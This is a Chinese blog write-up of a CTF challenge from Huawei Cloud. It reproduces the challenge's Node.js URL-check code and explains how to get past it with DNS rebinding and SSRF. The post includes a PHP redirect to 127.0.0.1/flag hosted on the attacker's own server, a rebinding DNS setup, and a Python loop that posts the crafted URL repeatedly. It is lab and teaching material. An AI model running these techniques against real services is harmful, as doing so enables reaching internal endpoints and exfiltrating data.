华为云一道关于DNS重绑攻击的SSRF题目复现

·
CTFWP no tag February 4, 2021

例题

在华为云CTF中,有云存储这样一道题,同时给出了docker

一直忘记复现,今天来复现一下

image.png

app.get('/flag', function(req, res){
    if (req.ip === '127.0.0.1') {
        res.status(200).send(env.parsed.flag)
    } else res.status(403).end('not so simple');
});

在app.js中,如果ip为127.0.0.1,那么会输出flag。

题目本质上与云存储没什么关系,主要看panel.js中的/admin路由

app.post('/admin', (req, res) => {
        if ( !req.body.fileurl || !check(req.body.fileurl) ) {
            res.end("Invalid file link")
            return
        }
        let file = req.body.fileurl;

        //dont DOS attack, i will sleep before request
        cp.execSync('sleep 5')

        let options = {url : file, timeout : 3000}
        request.get(options ,(error, httpResponse, body) => {
            if (!error) {
                res.set({"Content-Type" : "text/html; charset=utf-8"})
                res.render("check", {"body" : body})
            } else {
                res.end( JSON.stringify({"code" : "-1", "message" : error.toString()}) )
            }
        });
    })

通过POST提交fileurl参数,首先通过check()函数进行url验证,然后执行sleep 5的命令。所以要通过request访问到/flag并把flag带出来

URL的检测就是check函数,让我们看一下check函数

const checkip = function (value) {
    let pattern = /^\d{1,3}(\.\d{1,3}){3}$/;
    if (!pattern.exec(value))
        return false;
    let ary = value.split('.');
    for(let key in ary)
    {
        if (parseInt(ary[key]) > 255)
            return false;
    }
    return true ;
}

const dnslookup = function(s) {
    if (typeof(s) == 'string' && !s.match(/[^\w-.]/)) {
        let query = '';
        try {
            query = JSON.parse(cp.execSync(`curl http://ip-api.com/json/${s}`)).query
        } catch (e) {
            return 'wrong'
        }
        return checkip(query) ? query : 'wrong'
    } else return 'wrong'
}

const check = function(s) {
    if (!typeof (s) == 'string' || !s.match(/^http\:\/\//))
        return false

    let blacklist = ['wrong', '127.', 'local', '@', 'flag']
    let host, port, dns;

    host = url.parse(s).hostname
    port = url.parse(s).port
    if ( host == null || port == null)
        return false

    dns = dnslookup(host);
    if ( ip.isPrivate(dns) || dns != docker.ip || ['80','8080'].includes(port) )
        return false

    for (let i = 0; i < blacklist.length; i++)
    {
        let regex = new RegExp(blacklist[i], 'i');
        try {
            if (ip.fromLong(s.replace(/[^\d]/g,'').substr(0,10)).match(regex))
                return false
        } catch (e) {}
        if (s.match(regex))
            return false
    }
    return true
}

exports.check = check

1.url.prase解析通过

2.利用公网上的一个dns解析的api来解析,解析出的ip不能是私有ip且等于docker.ip

3.端口不能是80或者8080

4.之后for循环匹配了一些黑名单关键字

这些全过了才行。

DNS重绑攻击

网上有很多文章 https://xz.aliyun.com/t/7495,可以先了解一下

当一个url被提交到/admin路由之后:

1.check()内用公网api进行了第一次解析

2.sleep 5后,requset.get()访问url对域名进行了第二次解析

DNS重绑攻击,就是在第一次解析的时候,在check时解析到了题目的ip地址,过了check之后,再将他重新绑定到一个攻击ip/本地ip,达到SSRF的效果

DNS重绑攻击的条件是要进行多次DNS解析,并合理利用时间查。

但是 check() 并不允许访问 80 端口;所以我们可以让它解析到攻击者的 ip 并且是非 80/8080 端口,当sleep 5过后,放任request.get()时,利用 302 跳转到 http://127.0.0.1:80/flag,request 会默认 follow 这个 302 重定向,即可 SSRF 成功。

展开攻击

推荐几个免费DNS平台。

  1. https://requestrepo.com/
  2. https://lock.cmpxchg8b.com/rebinder.html
  3. http://rbnd.gl0.eu/

第一个个为例,先在自己服务器的10001端口(这个端口不为80或者8080即可) 写1.php

<?php
header("Location: http://127.0.0.1:80/flag");

来到设置

image.png

Value那里写题目ip%自己服务器ip

随机解析题目ip(过第一次解析)和自己服务器ip(用于跳转127.0.0.1/flag攻击)

先用题目ip过掉第一次waf,然后在5s之后解析到自己服务器ip就可以达成攻击

然后提交url http://yang99.3coc4kh1.requestrepo.com:10001/1.php到/admin路由

多发几个包就有flag了,因为解析两个IP是随机的

这里贴上颖奇师傅的重复提交脚本

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req

s = req.session()
url = "http://123.57.145.88:17789/admin"
data = {"fileurl" : "http://yang99.3coc4kh1.requestrepo.com:10001/1.php" }
while True:
    try:
        text = s.post(url=url, data=data, timeout=10).text
        print(text)
        if "flag{" in text:
            exit(0)
    except Exception as e :
        print(e)

image.png

参考:https://www.gem-love.com/websecurity/2733.html

  • 合成德克萨斯
  • SQLite入门+华为云pyer的分析
取消回复

说点什么?

© 2023 Yang_99的小窝. Using Typecho & Moricolor.